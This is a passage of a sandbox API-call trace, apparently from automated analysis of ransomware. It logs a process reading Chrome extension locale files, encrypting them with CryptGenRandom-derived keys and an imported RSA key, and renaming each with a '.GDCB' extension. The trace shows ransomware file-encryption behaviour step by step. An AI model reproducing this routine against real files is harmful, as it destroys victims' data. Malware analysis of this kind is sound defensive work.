dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.692] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json.gdcb")) returned 1 [0269.699] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.702] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.704] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.704] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.704] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.704] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.707] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.709] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.709] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.709] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.710] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.712] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797d20) returned 1 [0269.712] CryptGetKeyParam (in: hKey=0x6797d20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.712] CryptEncrypt (in: hKey=0x6797d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.713] GetLastError () returned 0x0 [0269.713] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.713] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0269.715] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797da0) returned 1 [0269.715] CryptGetKeyParam (in: hKey=0x6797da0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.715] CryptEncrypt (in: hKey=0x6797da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.715] GetLastError () returned 0x0 [0269.715] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.715] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.716] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.719] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.722] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x114, lpOverlapped=0x0) returned 1 [0269.731] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.738] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json.gdcb")) returned 1 [0269.744] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.747] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.749] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.749] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.749] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.749] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.751] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.753] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.753] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.753] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.753] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0269.755] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797c60) returned 1 [0269.755] CryptGetKeyParam (in: hKey=0x6797c60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.756] CryptEncrypt (in: hKey=0x6797c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.756] GetLastError () returned 0x0 [0269.756] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0269.756] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0269.758] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798860) returned 1 [0269.758] CryptGetKeyParam (in: hKey=0x6798860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.758] CryptEncrypt (in: hKey=0x6798860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.758] GetLastError () returned 0x0 [0269.758] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.758] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.760] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.763] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.767] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x14b, lpOverlapped=0x0) returned 1 [0269.776] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.783] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json.gdcb")) returned 1 [0269.789] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.792] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.795] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.795] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.795] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.798] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.799] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.800] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.800] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.800] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.805] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67981a0) returned 1 [0269.805] CryptGetKeyParam (in: hKey=0x67981a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.805] CryptEncrypt (in: hKey=0x67981a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.805] GetLastError () returned 0x0 [0269.805] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.805] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.807] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67988a0) returned 1 [0269.807] CryptGetKeyParam (in: hKey=0x67988a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.807] CryptEncrypt (in: hKey=0x67988a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.807] GetLastError () returned 0x0 [0269.807] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.807] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.808] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.811] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.813] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcf, lpOverlapped=0x0) returned 1 [0269.826] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.833] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json.gdcb")) returned 1 [0269.838] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.841] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.843] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.843] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.843] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.843] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.845] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.847] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.847] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.847] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.848] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0269.850] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798360) returned 1 [0269.850] CryptGetKeyParam (in: hKey=0x6798360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.850] CryptEncrypt (in: hKey=0x6798360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.850] GetLastError () returned 0x0 [0269.850] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.850] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.852] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67980e0) returned 1 [0269.852] CryptGetKeyParam (in: hKey=0x67980e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.852] CryptEncrypt (in: hKey=0x67980e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.852] GetLastError () returned 0x0 [0269.852] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.852] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.854] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.856] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.858] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xad, lpOverlapped=0x0) returned 1 [0269.867] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.875] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json.gdcb")) returned 1 [0269.880] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.883] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.886] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.886] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.886] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.886] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.889] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.891] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.891] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.891] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.891] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.893] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67983e0) returned 1 [0269.893] CryptGetKeyParam (in: hKey=0x67983e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.893] CryptEncrypt (in: hKey=0x67983e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.893] GetLastError () returned 0x0 [0269.893] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.893] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.895] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798120) returned 1 [0269.895] CryptGetKeyParam (in: hKey=0x6798120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.895] CryptEncrypt (in: hKey=0x6798120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.895] GetLastError () returned 0x0 [0269.895] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.895] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.896] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.900] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.902] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: 